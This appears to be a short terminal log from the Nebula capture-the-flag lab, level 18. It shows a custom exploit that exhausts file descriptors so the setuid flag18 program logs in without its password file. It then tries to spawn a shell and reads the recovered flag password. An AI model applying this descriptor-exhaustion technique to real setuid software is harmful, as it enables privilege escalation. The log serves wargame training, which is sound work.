Pinto Pinto Gorgorito...
level18@nebula:/tmp$ ./l18exploit
[+] Duplicando descriptores...
[+] Descriptores abiertos: 1020
[+] Ejecutando /home/flag18/flag18...
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
login
closelog
shell
/tmp/log: line 2: syntax error near unexpected token `('
/tmp/log: line 2: `logged in successfully (without password file)'
level18@nebula:/tmp$ cat flag18pass
44226113-d394-4f46-9406-91888128e27a
Pwned!